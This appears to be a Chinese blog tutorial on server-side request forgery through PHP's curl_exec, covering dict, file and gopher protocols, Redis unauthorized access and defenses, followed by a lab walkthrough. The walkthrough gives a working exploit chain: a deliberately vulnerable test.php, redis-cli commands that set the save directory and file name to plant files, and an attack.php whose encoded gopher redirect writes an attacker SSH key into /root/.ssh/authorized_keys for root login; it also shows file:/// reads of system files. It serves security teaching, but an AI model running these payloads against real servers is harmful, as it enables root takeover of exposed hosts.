目录
1、curl_exec函数
前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
除了http、https外,curl还支持一些其他协议,可以使用 curl --version来进行查看其支持的协议。支持的协议有:FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP;
2、dict协议
dict协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。使用dict协议架设的服务可以用telnet来登录,说明这个协议可能是基于TCP协议来开发的。
所以其他基于TCP协议来开发的服务,应该可以用dict协议的方式来强行读取一些数据。如mysql服务、Redis服务等;
该协议主要是用来判断服务开启的端口和服务。可以借助BurpSuit工具的暴力破解来进行。
?url=dict://[ip地址]:[端口号]
3、file协议
用来读取服务器文件,例如:
?url=file:///etc/apt/sources.list
4、Redis未授权访问
原理:
Redis在默认安装情况下,默认端口为6379,没有添加过防火墙信任规则,修改默认端口等防护策略,这相当于直接将 Redis服务暴露到公网上,如果设置密码认证(默认为空)的情况,会导致任意用户都可访问目标服务器--即Redis未授权访问,以及读取Redis的数据,攻击者可以在这个条件下,如果Redis是以root身份运行,利用root权限的身份写入ssh公钥,通过ssh登录目标服务器,写入webshell,拿到控制权。
危害:
1、知道服务器物理路径,写入webshell。
2、写入任务计划,反弹shell。
3、写入公钥,直接登录服务器
防御:
第一: 修改redis绑定的IP 如果只在本机使用redis服务那么只要绑定127.0.0.1 如果其他主机需要访问redis服务那么只绑定客户主机所在网络的接口 最好不要绑定0.0.0.0 另外需要通过主机内置的防火墙如iptables,或者其他外置防火墙禁止非业务主机访问redis服务
第二: 设置访问密码 在 redis.conf 中找到“requirepass”字段,取消注释并在后面填上你需要的密码。 注:修改redis的配置需要重启redis才能生效。
第三: 使用普通用户启动redis,并且禁止该用户启动shell,禁止使用root用户启动redis。
5、gopher协议
gopher协议是一种信息查找系统,它将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在www出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用TCP70端口。但在www出现后,gopher失去了昔日的辉煌。现在基本过时,人们很少再使用它。它只支持文本,不支持图像;
开源工具gopherus(tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers (github.com))
使用gopherus --help可以查看该工具对那些服务可以使用
解码
6、SSRF
定义:
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
原理:
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
防御:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
注:此博客讲解的更详细(SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客)
ssrf实现.ssh未创建写shell
1、环境搭建
kali和Ubuntu虚拟机各一台
ubuntu下:
test.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="test.php" method="post">
input url: <input type="text" name="url"><br>
<input type="submit" value="submit">
</form>
</body>
</html>
test.php:
<?php
function check_ip($url) #对ip进行限制,现在内网ip
{
$match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if(!$match_res)
{
echo 'url fomat erro';
exit();
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
echo 'url fomat error';
exit();
}
$ip=gethostbyname($url_parse['host']);
echo $ip;
$ini_ip=ip2long($ip);
if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
{
echo "ip can not inner ip";
exit();
}
}
$ch=curl_init();
$url=$_GET['url'];
check_ip($url);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER); #302调转支持gopher协议
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); #跟随跳转
$res=curl_exec($ch);
curl_close($ch);
echo $res;
?>
kali下:
2、实施攻击
2.1、生成公钥
执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:
cd /root/.ssh
ssh-keygen -t rsa
2.2、用SSH公钥数据伪造Redis数据
Socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
redis-cli -p 1234 fushall #清空redis当前库的数据
echo -e "\n\n
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali\n\n" | redis-cli -p 1234 -x set a #写入一个key=value数据 '\n' 是因为在保存redis数据的时候会自动在数据前和后生成一些数据,换行符能让其分离
redis-cli -p 1234 config set dir /var/www/html/ #设置保存路径
redis-cli -p 1234 config set dbfilename shell.php #设置保存文件名
redis-cli -p 1234 save #保存
2.3、攻击
在kali下写个attack.php
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>
在/root/.ssh目录下:
ssh -i id_rsa root@IP地址
登录就行了